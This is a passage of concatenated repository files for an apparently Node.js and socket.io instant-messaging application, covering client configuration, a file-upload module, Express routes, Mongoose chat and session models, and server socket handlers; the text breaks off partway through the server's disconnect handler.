parts.loadImages({
options: {
limit: 2200,
name: './resource/images/[name].[ext]',
},
}),
parts.setupJs(),
parts.setupCSS());
}
module.exports = config;
<file_sep>/*
* showSnow 雪花飘落动画
* @param {$container} dom选择器,append到哪里去
* @param {type} 'smallsnow', 'bigsnow', 'stars',默认0
* @param {zIndex} dom层级,默认1
*/
```
import showSnow from './components/showSnow/showSnow.js';
showSnow($('body'), {
zIndex: 1,
type: 'stars'
});
```<file_sep>import html from './test.art';
import './test.less';
function append() {
$('body').append(html({
time: new Date().getTime(),
}))
}
export default append;
<file_sep>/*
* showShare
* @author qqqiyuan
* @param {zIndex} dom 层级, 默认999
* @param {index} 传入结果index,0 - 11,对应值可见 shouEnding.js说明
*/
require('./style.less');
import html from './showShare.art';
import shareText from './../../text.js';
import shareImg from './../../../resource/images/share.png';
function showShare(config) {
var defaultConfig = {
zIndex: 999
};
config && $.extend(defaultConfig, config);
$('body').append(html());
if(defaultConfig.zIndex) {
$('.j_Sharecontainer').css({
'zIndex': defaultConfig.zIndex
});
}
$(document).on('click', '.j_Sharecontainer', function() {
$(this).hide();
});
var textObj = shareText.shareText[defaultConfig.index];
var shareData = {
title: textObj.title,
desc: textObj.desc,
link: location.href,
imgUrl: shareImg
};
console.log(shareData);
return shareData;
// wx.ready(function() {
// wx.showOptionMenu();
// wx.onMenuShareTimeline(shareData);
// wx.onMenuShareAppMessage(shareData);
// });
}
export default showShare;<file_sep>var fs = require('fs');
var path = require('path');
var imgList = fs.readdirSync(path.resolve(__dirname, '..', 'dist/resource', 'images'));
imgList = imgList.filter(function(item) {
return item.search(/(png|jpg|jpeg)$/gi) > -1;
}).map(function(jtem) {
return './resource/images/' + jtem;
})
console.log('------------------------------------');
console.log(imgList);
console.log('------------------------------------');<file_sep>/*
* showSnow 雪花飘落动画
* @param {$container} dom选择器,append到哪里去
* @param {type} 'smallsnow', 'bigsnow', 'stars',默认smallsnow
* @param {zIndex} dom层级,默认1
*/
require('./style.less');
import html from './showSnow.art';
function showSnow($container, config) {
var defaultConfig = {
zIndex: 1,
// type: 'stars'
}
config && $.extend(defaultConfig, config);
$container.append(html());
if(defaultConfig.zIndex) {
$('.j_Snowcontainer').css({
'z-index': defaultConfig.zIndex
});
}
let speed = defaultConfig.type === 'smallsnow' ? 80 : 40;
setInterval(function() {
createSnow($container.find('.j_Snowcontainer'), defaultConfig.type);
}, speed);
function createSnow($wrap, typeName) {
let duration; // equals config.less time
let oDiv = document.createElement('div');
oDiv.className = typeName + ' animated';
oDiv.style.left = Math.random() * 375;
if(typeName === 'smallsnow') {
oDiv.style.top = Math.random() * 667/4;
duration = 2400;
} else if(typeName === 'bigsnow') {
oDiv.style.top = Math.random() * 667/4;
duration = 1200;
} else {
oDiv.style.top = Math.random() * 667/4;
duration = 1600;
}
$wrap.append(oDiv);
setTimeout(function() {
$wrap[0].removeChild(oDiv);
}, duration);
}
}
export default showSnow;<file_sep>import globalConfig from '../../config';
import blink from '../blink';
/**
* NOTE: 第一个场景的序号为1
* @param {Number} sceneIndex
* sceneIndex, // 切换到下一个场景的序号
* @param {Number} type
* type, // 切换场景的类型
* // default 1 进化后的切换
* // 2 普通scene的自动切换
*/
function loadNextScene(sceneIndex, type) {
const stype = type || 1;
const $curPage = $('.j_Page.active');
const curPageIndex = $curPage.data('index');
const $cur = $curPage.find('.j_Scene.active');
const $next = $curPage.find(`[data-index="${sceneIndex}"].j_Scene`);
if (+stype === 2) {
blink('1');
setTimeout(() => {
$cur.removeClass('active');
$next.addClass('active');
PubSub.publish('evolution', {
page: curPageIndex,
scene: sceneIndex,
$el: $next,
});
}, 300);
} else {
$cur.removeClass('active');
$next.addClass('active');
PubSub.publish('evolution', {
page: curPageIndex,
scene: sceneIndex,
$el: $next,
});
}
}
export default loadNextScene;
<file_sep>import './style.less';
import html from './temp.art';
/**
* @description 闪烁动画
* @param {String} type
* '1' 进化后的闪烁
* default '2' 普通场景的闪烁
*/
function blink(type) {
const sType = type || '2'; // 普通场景切换闪烁
const $el = $(html({
sType,
}));
$el.on('animationend', () => {
$el.remove();
});
$('body').append($el);
}
export default blink;
<file_sep>/*
* showShare
* @author qqqiyuan
* @param {zIndex} dom 层级, 默认999
* @param {index} 传入结果index,0 - 11,对应值可见 shouEnding.js说明
*/
```
import showShare from './components/showShare/showShare.js';
showShare({
index: 8
});
```<file_sep>export default {
loadNextPageTime: 1000, // 切换下一页的时间
loadNextPageFun: 'cubic-bezier(.88, .31, .18, 1)', // 切换下一页的赛贝尔
// 进化的时间逻辑
evolutionBgTime: 1500, // 进化的背景圆柱速度
evolutionEnergy: 160, // 能量的切换速度
evolutionPeople: 100, // 进化人物的切换速度
evolutionShow: '1s', // 场景进入时间
evolutionLast: 6000, // 进化场景的持续时间
// 出现文字的时间逻辑
textLinesTime: 800, // 文字逐行出现的时间间隔
textPkShowTime: 300, // pk场景文本框出现的时间间隔
textNormalShowTime: 300, // 普通场景文本框出现的时间间隔
textEvolutionShowTime: 300, // 进化场景文本框出现的时间间隔
// 场景的文字看完的时间
textHideTimeM: 7000,
textHideTimeS: 5000,
textHideTimeL: 9000,
textHideTimeSS: 3000,
};
<file_sep>/*
* showEnding 成就动画
* @author qqqiyuan
* @param {zIndex} dom层级,默认为9
* @param {delayTime} num, 动画延迟时间,选填,默认为config.less中的 endDelayTime
* @param {index} 人物所在索引,【必填】
* 0 - 11,顺序依次是:
* 0 - 能人, 1 - 匠人, 2 - 直立人, 3 - 元谋人, 4 - 海德堡人, 5 - 弗洛雷斯人,
* 6 - 丹尼索瓦人, 7 - 长者智人, 8 - 现代人, 9 - 尼安德特人,
* 10 - 尼安德特人(留血), 11 - 尼安德特人(冻死)
*
*/
require('./style.less');
var html = require('./showEnding.art');
import showShare from './../showShare/showShare.js';
import person0 from './../../../resource/images/nengren.png';
import person1 from './../../../resource/images/jiangren.png';
import person2 from './../../../resource/images/zhiliren.png';
import person3 from './../../../resource/images/yuanmouren.png';
import person4 from './../../../resource/images/haidebaoren.png';
import person5 from './../../../resource/images/fuluoleisiren.png';
import person6 from './../../../resource/images/dannisuowaren.png';
import person7 from './../../../resource/images/zhangzhezhiren.png';
import person8 from './../../../resource/images/xiandairen.png';
import person9 from './../../../resource/images/niandeteren.png';
import person10 from './../../../resource/images/niandeteren-liuxue.png';
import person11 from './../../../resource/images/niandeteren-dongsi.png';
import endingText from './../../text.js';
function showEnding(config) {
let defaultConfig = {
zIndex: 9,
index: 0
};
let personArr = [person8, person8, person7, person3, person5, person6, person8, person6,
person10, person9, person11];
config && $.extend(defaultConfig, config);
let textObj = endingText.endingText[defaultConfig.index];
console.log(defaultConfig.index);
$('body').append(html({
personImg: personArr[defaultConfig.index],
name: textObj.name,
year: textObj.year,
desc: textObj.desc,
skillArr: textObj.skills,
starArr: textObj.stars
}));
if(defaultConfig.zIndex) {
$('.j_Endcontainer').css({
'zIndex': defaultConfig.zIndex
});
}
if(defaultConfig.delayTime) {
$('.j_Endcontainer, .j_Endcontainer .j_Box').css({
'animation-delay': defaultConfig.delayTime+'s'
});
}
$(document).on('click', '.j_Share', function() {
var $target = $(this);
$target.addClass('pressed');
setTimeout(function() {
showShare({
index: defaultConfig.index
});
}, 800);
});
$(document).on('click', '.j_Close', function() {
var $target = $(this);
$target.addClass('pressed');
setTimeout(function() {
$('.j_Endcontainer').addClass('disappear');
$('.j_Endcontainer .j_Box').removeClass('selfBounceOutDown').addClass('selfBounceOutDown');
setTimeout(function() {
$(document).find('.j_Restart').show();
}, 800);
}, 800);
});
$(document).on('click', '.j_Restart', function() {
var $target = $(this);
$target.addClass('pressed');
setTimeout(function() {
location.href = location.href + '?v=' + new Date().getTime();
}, 800);
});
}
export default showEnding; | be093554dd12ba5d87f4ac7f6183d4ed783f740c | [
"Markdown",
"JavaScript"
] | 16 | Markdown | fromIRIS/evolution | 6388e24ac311dd273629bd1fd1bbbdddd11a3e05 | b5119bb18788de2b787efdfba0c3feb4af82d0d0 |
refs/heads/master | <file_sep>#!/bin/bash
git add .
git commit -m "$RANDOM"
git push
git push ms master
netlify deploy
| 52172f7e207f5983625718954942306da6f2de6e | [
"Shell"
] | 1 | Shell | danAllmann/studysidescroller | f492e5f136e4ac49bc9074bc83f821d1918c3f10 | a8b08be579bc20ffcec6c8e4b2973be8067697af |
refs/heads/master | <repo_name>jackjet870/instantMessage<file_sep>/client/js/config.js
(function() {
// 配置
/* url im服务地址
* dingSwitch 钉一下功能开关
* language 语言包 仅en有效
*****************/
var envir = 'local';
var configMap = {
local: {
url: 'http://1172.16.31.10:88',
dingSwitch: true,
language: 'cn'
}
};
window.CONFIG = configMap[envir];
window.imIdClass = '#showBox';
window.initCallback = typeof initCallbackHandler != 'undefined' ? initCallbackHandler : null;
}())
var superUser = 'administrator';
function initCallbackHandler(data){
console.log(data);
}
//var username = userCode;
//var password = <PASSWORD>();
var param = window.location.href.split('#');
var password = param.pop() || '<PASSWORD>';
var username = param.pop() || 'lee';
console.log(username, password);<file_sep>/server/front/js/config.js
(function() {
// 配置
var envir = 'develop';
var configMap = {
develop: {
url: 'http://127.0.0.1:88'
},
online: {
url: 'http://127.0.0.1:88'
}
};
window.CONFIG = configMap[envir];
}())<file_sep>/server/rotatelog.sh
#/usr/bash
DATE=$(date +%Y%m%d)
cd `dirname $0`
cat myLog.log > ./rotateLog/nodeLog_$DATE.log && echo "">myLog.log
<file_sep>/server/service/instantMessageService.js
var notifyService = require('./notifyService');
var dataPointModel = require('../model/dataPointModel');
module.exports = {
setCurrSession: function(socket, sessId){
var SessionMember = global.dbHelper.getModel('sessionMember');
SessionMember.find({'sessId':sessId}).select('uId').exec(function(err,uIdList){
var sessMembers = [],currSession = {};
for(var i in uIdList){
sessMembers.push(uIdList[i].uId);
}
currSession = {sessId:sessId,sessMembers:sessMembers};
var user = {_id:socket.user._id,username:socket.user.username,nickname:socket.user.nickname,currSession:currSession};
delete socket.user;
socket.user = user;
instantMessage.listen(socket, sessId);
});
},
emptyCurrSession: function(socket){
var user = {_id:socket.user._id,username:socket.user.username,nickname:socket.user.nickname};
delete socket.user;
socket.user = user;
},
sendMessage: function(socket, message){
var thisService = this;
var ChatLog = global.dbHelper.getModel('chatLog');
var chatLog = {
sessId: message.sessId,
senderUid: socket.user._id,
content: message.content,
sendTime: Date.parse(new Date())
};
//2016-10-25 添加发送消息的数据埋点
var dataPoint = {
sessId: message.sessId,
senderUid: socket.user._id,
senderUsername: socket.user.username,
content: message.content,
sendTime: Date.parse(new Date())
};
dataPointModel.sendMsgPoint(dataPoint);
ChatLog.create(chatLog,function(err, chatlog){
if(!err && chatlog){
updateSessNum(chatlog.sessId,function(){
if(typeof socket.user.currSession != 'undefined' && message.sessId == socket.user.currSession.sessId){
global.connectionsArray.forEach(function(sc){
var memberIndex = socket.user.currSession.sessMembers.indexOf(String(sc.user._id));
if(memberIndex>-1){
if(typeof sc.user.currSession != 'undefined' && sc.user.currSession.sessId == socket.user.currSession.sessId){
instantMessage.listen(sc, chatlog.sessId);
}else{
notifyService.unreadMessage(sc);
}
}
});
}else{
thisService.setCurrSession(socket, message.sessId);
}
})
}
});
}
};
function updateSessNum(sessId,callback){
var Session = global.dbHelper.getModel('session');
var ChatLog = global.dbHelper.getModel('chatLog');
//console.log(sessId);
ChatLog.where('sessId', sessId).count(function (err, count) {
if (err) return handleError(err);
Session.update({"_id": sessId}, {$set: {totalNum: count}}, function (error, doc) {
console.log('updateSessNum success');
callback();
});
})
}
var instantMessage = {
listen: function(socket, sessId){
var ChatLog = global.dbHelper.getModel('chatLog');
var Session = global.dbHelper.getModel('session');
var SessionMember = global.dbHelper.getModel('sessionMember');
Session.findOne({'_id':sessId}).select('totalNum').exec(function(err,total){
SessionMember.findOne({'sessId':sessId,'uId':socket.user._id}).select('readNum').exec(function(err,read){
var unreadNum = total.totalNum - read.readNum;
//console.log(total, read, unreadNum);
if(unreadNum>0){
ChatLog.find({'sessId':sessId}).sort({'sendTime':-1}).limit(unreadNum).exec(function(err,chatlogs){
var chatlogList = [];
var userIdList = [];
chatlogs.forEach(function(row){
var chatlog =
{
id:row._id,
sessId:row.sessId,
senderUid:row.senderUid,
mine:socket.user._id == row.senderUid,
content:row.content,
sendTime:row.sendTime
};
chatlogList.unshift(chatlog);
userIdList.push(row.senderUid);
});
SessionMember.find({'sessId':sessId}).exec(function(err,userList) {
var userInfoList = [];
if(userList){
for(var i = 0; i < userList.length; i++){
userInfoList[userList[i].uId] = {'username':userList[i].nickname,'avatar':userList[i].uId==socket.user._id?global.avatarList.mine:global.avatarList.other};
}
for(var i = 0; i < chatlogList.length; i++){
if(chatlogList[i].senderUid in userInfoList){
chatlogList[i].userInfo = userInfoList[chatlogList[i].senderUid];
}else{
chatlogList[i].userInfo = {'username':'somebody','avatar':global.avatarList.other};
}
}
}
//console.log(chatlogList);
SessionMember.update({'sessId':sessId,'uId':socket.user._id},{$set : { readNum : total.totalNum }},function(){
socket.volatile.emit('instantMessage', chatlogList);
global.connectionsArray.forEach(function(sc){
if(String(sc.user._id) == String(socket.user._id)){
notifyService.unreadMessage(sc);
}
});
});
});
});
}
});
});
}
};<file_sep>/client/layui/lay/modules/webupload.js
/*!
@Title: layui.webupload 单文件上传 - 全浏览器兼容版
@Author: Lee
@License:LGPL
*/
layui.define(['jquery', 'layer'], function(exports){
var $ = layui.jquery, layer = layui.layer;
var webuploader = layui.cache.dir + 'lay/lib/webuploader/webuploader.min.js';
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement('script');
oScript.async = true;
oScript.src = webuploader;
oHead.appendChild( oScript);
//console.log('load javascript', webuploader);
exports('webupload', function(options){
options = options || {};
options.check = options.check || 'images';
//console.log(options.url, layui.cache.dir);
// 实例化
var uploader = WebUploader.create({
auto: true, //自动上传
swf: layui.cache.dir + 'lay/lib/webuploader/Uploader.swf', //SWF路径
server: options.url, //上传地址
pick: {
id: options.check === 'images' ? '#layim-send-image' : '#layim-send-file',
multiple: false
},
accept: {
/*title: 'Images',*/
extensions: options.filetypes ? options.filetypes : '*'
/*mimeTypes: 'image/*'*/
},
formData: {
'DelFilePath': '' //定义参数
},
fileVal: 'file', //上传域的名称
fileSingleSizeLimit: options.filesize * 1024 * 1024 //文件大小 M
});
setTimeout(function(){
//$('.webuploader-pick').siblings().resize();
$('.webuploader-pick').siblings().css({'width':$('.webuploader-pick').css('width'),'height':$('.webuploader-pick').css('height')});
},500);
//console.log(uploader);
//当validate不通过时,会以派送错误事件的形式通知
uploader.on('error', function (type) {
switch (type) {
case 'Q_EXCEED_NUM_LIMIT':
layer.alert("上传文件数量过多!");
break;
case 'Q_EXCEED_SIZE_LIMIT':
layer.alert("文件总大小超出限制!");
break;
case 'F_EXCEED_SIZE':
layer.alert("文件大小超出限制!");
break;
case 'Q_TYPE_DENIED':
layer.alert("暂不支持此类型文件。");
break;
case 'F_DUPLICATE':
layer.alert("请勿重复上传该文件!");
break;
default:
layer.alert('错误代码:' + type);
break;
}
});
uploader.on('fileQueued', function (file) {
//console.log('fileQueued',file);
typeof options.addQueued === 'function' && options.addQueued(file);
});
//当文件上传出错时触发
uploader.on('uploadError', function (file, reason) {
console.log('uploadError',file, reason);
this.removeFile(file); //从队列中移除
layer.msg(IML(reason||'上传失败'));
typeof options.uploadError === 'function' && options.uploadError(file, reason);
});
uploader.on('uploadSuccess', function(file, res){
//console.log('uploadSuccess',file, res);
this.removeFile(file); //从队列中移除
typeof options.success === 'function' && options.success(res);
});
});
});<file_sep>/server/common/models.js
module.exports = {
user: {
username: String,
nickname: String,
password: <PASSWORD>
},
session: {
createrUid: String,
sessName: String,
totalNum: Number,
type: Number
},
sessionMember: {
sessId: String,
uId: String,
nickname: String,
readNum: Number,
lastTime: Number
},
chatLog: {
sessId: String,
senderUid: String,
content: String,
sendTime: Number
}
};
<file_sep>/server/routes/index.js
module.exports = function ( app ) {
require('./user')(app);
require('./chat')(app);
require('./ding')(app);
require('./file-upload')(app);
};<file_sep>/server/views/history.html
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div class="history-body" >
<ul >
<%for(var i in historys){ %>
<%=historys[i].userInfo.username%>:<%=historys[i].content%>
<%}%>
</ul>
</div>
</body>
</html><file_sep>/server/promise1.js
var mongoose = require("mongoose");
global.dbHelper = require('./common/dbHelper');
global.db = mongoose.connect("mongodb://192.168.1.103:27017/notify");
var User = global.dbHelper.getModel('user');
var Session = global.dbHelper.getModel('session');
var SessionMember = global.dbHelper.getModel('sessionMember');
var user = yield User.findById("57c181a1c4e370bc869e1a0b").exec();
console.log(user);
/*
User.findOne({username:'lee'}).exec().then(function(err, userInfo){
console.log(userInfo);
});
(function(){
var promise = new mongoose.Promise();
User.findOne({username:username},function(err,user){
promise.resolve(err, user);
});
return promise;
})().then(function(user){
var promise = new mongoose.Promise();
SessionMember.find({uId: user._id},function(err,sessMem) {
promise.resolve(err, sessMem);
});
return promise;
},function(err){
console.log(err);
return {status:false,msg:'not found user'};
}).then(function(sessMem){
var sessIdList = [];
var readNumList = {};
sessMem.forEach(function(row){
sessIdList.push(row.sessId);
readNumList[row.sessId] = row.readNum;
});
//console.log(sessIdList, readNumList);
var promise = new mongoose.Promise();
Session.find().where('_id').in(sessIdList).exec(function(err,sess) {
var result = [];
if(sess){
for(var i = 0; i < sess.length; i++){
var tmp = sess[i];
tmp.unreadNum = sess[i].totalNum - readNumList[sess[i]._id];
result.push(tmp);
}
}
promise.resolve(err, result);
});
return promise;
},function(err){
console.log(err);
res.json({status:false,msg:'not found session'});
}).then(function(sess){
res.json({status:true,data:sess,msg:'success'});
},function(err){
console.log(err);
res.json({status:false,msg:'not found session'});
});
*/<file_sep>/server/service/qiniuService.js
var qiniu = require("qiniu");
module.exports = {
uploadFile: function(filePath, fileName, callback){
//需要填写你的 Access Key 和 Secret Key
qiniu.conf.ACCESS_KEY = global.qiniuConfig.ACCESS_KEY;
qiniu.conf.SECRET_KEY = global.qiniuConfig.SECRET_KEY;
//要上传的空间
var bucket = 'instantmessage';
//构建上传策略函数
function uptoken(bucket, key) {
var putPolicy = new qiniu.rs.PutPolicy(bucket+":"+key);
return putPolicy.token();
}
//生成上传 Token
token = uptoken(bucket, fileName);
var extra = new qiniu.io.PutExtra();
qiniu.io.putFile(token, fileName, filePath, extra, function(err, ret) {
if(typeof callback != 'undefined'){
callback(err, ret);
}
});
}
}<file_sep>/server/service/loginService.js
var mycrypto = require('../common/mycrypto');
module.exports = {
login: function(username, password,callback){
var result={status:false,msg:'not find user'};
F.co(function *() {
// 查询数据库
var User = global.dbHelper.getModel('user');
if(username == '' || password == ''){
callback(result);
return;
}
var userInfo = yield User.findOne({"username":username,"password":<PASSWORD>(password)});
if(userInfo){
result.status = true;
result.msg = 'login success';
result.user = userInfo;
callback(result);
return;
}else{
callback(result);
return;
}
},function(){
result.msg = 'mongo err';
callback(result);
return;
});
}
}<file_sep>/server/model/chatModel.js
var mongoose = require("mongoose");
module.exports = {
createSession: function(res, username, sessname, nickname){
F.co(function *() {
var User = global.dbHelper.getModel('user');
var Session = global.dbHelper.getModel('session');
var SessionMember = global.dbHelper.getModel('sessionMember');
var user = yield User.findOne({username:username});
if(!user){
res.json({status:false,msg:'not found user'});
}
var session = {
createrUid: user._id,
sessName: sessname,
totalNum: 0,
type: 1,
};
var sess = yield Session.create(session);
if(!sess){
res.json({status:false,msg:'create session error'});
}
var sessionMember = {
sessId: sess._id,
uId: sess.createrUid,
nickname: nickname,
readNum: 0,
lastTime: Date.parse(new Date())
};
var sessMem = yield SessionMember.create(sessionMember);
if (!sessMem) {
res.json({status: true, msg: 'create session member error'});
}else{
res.json({status:true,msg:'createSession success',data:sessMem});
}
}, function(err){
// 统一服务错误处理
res.status(500);
res.json({
status: {
code: 2,
msg: 'error'
},
data: err.stack
});
});
},
addToSession: function(res, username, sessid, nickname){
console.log(username, sessid, nickname);
F.co(function *() {
var User = global.dbHelper.getModel('user');
var Session = global.dbHelper.getModel('session');
var SessionMember = global.dbHelper.getModel('sessionMember');
var user = yield User.findOne({username:username});
if(!user){
res.json({status:false,msg:'not found user'});
}
var sess = yield Session.findOne({_id:sessid});
if(!sess){
res.json({status:false,msg:'not found session'});
}
var sessMem = yield SessionMember.findOne({sessId: sessid, uId: user._id});
if (sessMem) {
res.json({status: true, msg: 'user exists'});
return;
}
var sessionMember = {
sessId: sessid,
uId: user._id,
nickname: nickname,
readNum: 0,
lastTime: Date.parse(new Date())
};
var sessMem = yield SessionMember.create(sessionMember);
if (sessMem) {
console.log('addToSession success');
res.json({status:true,data:sessMem,msg:'addToSession success'});
}else{
res.json({status:true,msg:'add session member error',data:sessMem});
}
}, function(err){
// 统一服务错误处理
res.status(500);
res.json({
status: {
code: 2,
msg: 'error'
},
data: err.stack
});
});
},
kickSession: function(res, username, sessid){
F.co(function *() {
var User = global.dbHelper.getModel('user');
var Session = global.dbHelper.getModel('session');
var SessionMember = global.dbHelper.getModel('sessionMember');
var user = yield User.findOne({username:username});
if(!user){
res.json({status:false,msg:'not found user'});
}
var sess = yield Session.findOne({_id:sessid});
if(!sess){
res.json({status:false,msg:'not found session'});
return;
}
var sessionMember = {
sessId: sess._id,
uId: user._id
};
var result = yield SessionMember.remove(sessionMember);
if(result.result.n>0){
deleteSessLog(sessionMember.sessId, sessionMember.uId);
console.log('kickSession success');
res.json({status:true,msg:'kickSession success'});
}else{
res.json({status:false,msg:'kickSession faild'});
}
}, function(err){
// 统一服务错误处理
res.status(500);
res.json({
status: {
code: 2,
msg: 'error'
},
data: err.stack
});
});
},
sendMessage: function(res, username, sessid, content){
F.co(function *() {
var User = global.dbHelper.getModel('user');
var Session = global.dbHelper.getModel('session');
var SessionMember = global.dbHelper.getModel('sessionMember');
var ChatLog = global.dbHelper.getModel('chatLog');
var user = yield User.findOne({username:username});
if(!user){
res.json({status:false,msg:'not found user'});
}
var sess = yield Session.findOne({_id:sessid});
if(!sess){
res.json({status:false,msg:'not found session'});
}
var sessMem = yield SessionMember.findOne({sessId: sessid, uId: user._id});
if (!sessMem) {
res.json({status:false,msg:'you have not privilege'});
}
var chatLog = {
sessId: sessid,
senderUid: user._id,
content: content,
sendTime: Date.parse(new Date())
};
var chatlog = yield ChatLog.create(chatLog);
if(chatlog){
updateSessNum(chatlog.sessId);
res.json({status:true,msg:'send success'});
}else{
res.json({status:false,msg:'send faild'});
}
}, function(err){
// 统一服务错误处理
res.status(500);
res.json({
status: {
code: 2,
msg: 'error'
},
data: err.stack
});
});
},
getSessList: function(res,username){
F.co(function *() {
var User = global.dbHelper.getModel('user');
var Session = global.dbHelper.getModel('session');
var SessionMember = global.dbHelper.getModel('sessionMember');
var user = yield User.findOne({username:username});
if(!user){
res.json({status:false,msg:'not found user'});
}
var sessMem = yield SessionMember.find({uId: user._id});
if(!sessMem){
res.json({status:false,msg:'not found session'});
}
var sessIdList = [];
var readNumList = {};
sessMem.forEach(function(row){
sessIdList.push(row.sessId);
readNumList[row.sessId] = row.readNum;
});
//console.log(sessIdList, readNumList);
var sess = yield Session.find().where('_id').in(sessIdList).exec();
if(!sess){
res.json({status:false,msg:'not found session'});
}
var sessList = [];
var data = {"mine":{"username": user.username,
"id": user._id,
"status": "online",
"sign": "在深邃的编码世界,做一枚轻盈的纸飞机",
"avatar": global.avatarList.mine}};
if(sess){
for(var i = 0; i < sess.length; i++){
var tmp = {id:sess[i]._id,groupname:sess[i].sessName,"avatar": global.avatarList.group,totalNum:sess[i].totalNum};
tmp.readNum = readNumList[sess[i]._id];
tmp.unreadNum = tmp.totalNum - tmp.readNum;
sessList.push(tmp);
}
data.group = sessList;
}
res.json({code:0,data:data,msg:'success'});
}, function(err){
// 统一服务错误处理
res.status(500);
res.json({
status: {
code: 2,
msg: 'error'
},
data: err.stack
});
});
},
getMemberList: function(res,sessId){
F.co(function *() {
var User = global.dbHelper.getModel('user');
var SessionMember = global.dbHelper.getModel('sessionMember');
var sessMem = yield SessionMember.find({sessId:sessId});
if(!sessMem){
res.json({code:0,data:{list:[]},msg:'success'});
}
var userIdList = [], userList = {};
for(var i = 0; i < sessMem.length; i++){
userIdList.push(sessMem[i].uId);
}
var users = yield User.find().where('_id').in(userIdList).select('username').exec();
if(users){
for(var i = 0; i < users.length; i++){
userList[users[i]._id] = users[i].username;
}
}
var memberList = [];
for(var i = 0; i < sessMem.length; i++){
var user = {"username": sessMem[i].nickname,
"loginname": userList[sessMem[i].uId],
"id": sessMem[i].uId,
"sign": sessMem[i].nickname,
"avatar": global.avatarList.other
};
memberList.push(user);
}
res.json({code:0,data:{list:memberList},msg:'success'});
}, function(err){
// 统一服务错误处理
res.status(500);
res.json({
status: {
code: 2,
msg: 'error'
},
data: err.stack
});
});
},
getHistorySessionLog: function(res, sessId, uid){
F.co(function *() {
var SessionMember = global.dbHelper.getModel('sessionMember');
var ChatLog = global.dbHelper.getModel('chatLog');
var where = {"sessId":sessId};
var historys = yield ChatLog.find(where).sort({'sendTime':1}).exec();
if(historys.length>0) {
var historyList = [];
var userIdList = [];
historys.forEach(function (row) {
var history = {
id: row._id,
senderUid: row.senderUid,
mine: row.senderUid == uid,
content: row.content,
sendTime: row.sendTime
};
historyList.push(history);
userIdList.push(row.senderUid);
});
var userList = yield SessionMember.find(where).exec();
var userInfoList = [];
if (userList) {
for (var i = 0; i < userList.length; i++) {
userInfoList[userList[i].uId] = {
'username': userList[i].nickname,
'avatar': userList[i].uId == uid ? global.avatarList.mine : global.avatarList.other
};
}
for (var i = 0; i < historyList.length; i++) {
if (historyList[i].senderUid in userInfoList) {
historyList[i].userInfo = userInfoList[historyList[i].senderUid];
} else {
historyList[i].userInfo = {'username': 'somebody', 'avatar': global.avatarList.other};
}
}
}
//console.log(historys);
//res.render('history',{historys:historyList});
res.json({status: true, data: historyList, msg: 'success'});
}else{
res.json({status:true,data:[],msg:'not have history'});
}
}, function(err){
// 统一服务错误处理
res.status(500);
res.json({
status: {
code: 2,
msg: 'error'
},
data: err.stack
});
});
}
};
function updateSessNum(sessId){
var Session = global.dbHelper.getModel('session');
var ChatLog = global.dbHelper.getModel('chatLog');
//console.log(sessId);
ChatLog.where('sessId', sessId).count(function (err, count) {
if (err) return handleError(err);
Session.update({"_id": sessId}, {$set: {totalNum: count}}, function (error, doc) {
console.log('updateSessNum success');
});
})
}
function deleteSessLog(sessId,uid){
var ChatLog = global.dbHelper.getModel('chatLog');
ChatLog.remove({'sessId':sessId,'senderUid':uid},function(error,doc){
//成功返回1 失败返回0
if(doc > 0){
updateSessNum(sessId)
}
});
}
<file_sep>/clientAPI/im/config.js
(function() {
// 配置
/* url im服务地址
* dingSwitch 钉一下功能开关
* language 语言包 仅en有效
*****************/
var envir = 'develop';
var configMap = {
local: {
url: 'http://1192.168.3.11:88',
dingSwitch: true,
language: 'cn'
}
};
window.CONFIG = configMap[envir];
window.imIdClass = '.imBtn';
window.initCallback = typeof initCallbackHandler != 'undefined' ? initCallbackHandler : null;
}())
var superUser = 'administrator';
var username = userCode;
var password = <PASSWORD>();
//console.log(username, password);<file_sep>/server/app.js
//建立MongoDB连接, 根据自己环境修改相应的数据库信息
var express = require('express');
var bodyParser = require('body-parser');
var app = express();
var path = require('path');
var multer = require('multer');
var server = require('http').createServer(app);
var io = require('socket.io').listen(server);
var mongoose = require("mongoose");
global.POLLING_INTERVAL = 1000;
global.connectionsArray = [];
global.dbHelper = require('./common/dbHelper');
global.db = mongoose.connect("mongodb://127.0.0.1:27017/notify");
global.dingURL = "钉一下发短信接口";
global.qiniuConfig = {
//七牛云帐号
ACCESS_KEY: '',
SECRET_KEY: '',
DOWNLOAD_URL: ''
};
global.mqConfig = {
//rabbit-mq 配置
host: "",
port: 5672,
login: "",
password: "",
exchName: "",
routeKey: ""
};
global.avatarList = {
'mine':'http://filemanager.woordee.com/tx01.png',
'other':'http://filemanager.woordee.com/tx02.png',
'group':'http://filemanager.woordee.com/tx03.png'
};
global.F = require('./common/function');
var loginService = require('./service/loginService');
var notifyService = require('./service/notifyService');
var instantMessageService = require('./service/instantMessageService');
// 设定views变量,意为视图存放的目录
app.set('views', path.join(__dirname, 'views'));
app.set( 'view engine', 'html' );
app.engine( '.html', require( 'ejs' ).__express );
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
//app.use(multer());
app.use(function(req, res, next){
res.header("Access-Control-Allow-Origin", "*");
next();
});
//app.all('*', function(req, res, next) {
// res.header("Access-Control-Allow-Origin", "*");
// res.header("Access-Control-Allow-Headers", "X-Requested-With");
// res.header("Access-Control-Allow-Methods","PUT,POST,GET,DELETE,OPTIONS");
// res.header("X-Powered-By",' 3.2.1')
// res.header("Content-Type", "application/json;charset=utf-8");
// next();
//});
require('./routes')(app);
//启动HTTP服务,绑定端口88
server.listen(88);
// 创建一个websocket连接,实时更新数据
io.sockets.on('connection', function(socket) {
console.log('new client connect!');
console.log('connect num:' + global.connectionsArray.length);
//登陆验证
socket.on('login', function(obj){
//将新加入用户的唯一标识当作socket的名称,后面退出的时候会用到
//console.log(obj);
loginService.login(obj.username, obj.password, function(data){
if(data.status){
socket.user = data.user;
global.connectionsArray.push(socket);
}
socket.emit('login', data);
});
});
//获取未读消息
socket.on('unreadMessage', function(){
notifyService.unreadMessage(socket);
});
//设置当前会话
socket.on('setCurrSession', function(data){
instantMessageService.setCurrSession(socket, data.sessId);
});
//关闭即使通讯
socket.on('emptyCurrSession', function(data){
instantMessageService.emptyCurrSession(socket);
});
//关闭当前会话
socket.on('unsetSession', function(data){
socket.user.currSession = null;
});
//监听发消息
socket.on('sendMessage',function(data){
instantMessageService.sendMessage(socket, data);
});
//断开连接
socket.on('disconnect', function() {
var socketIndex = global.connectionsArray.indexOf(socket);
console.log('socket = ' + socketIndex + ' disconnected;');
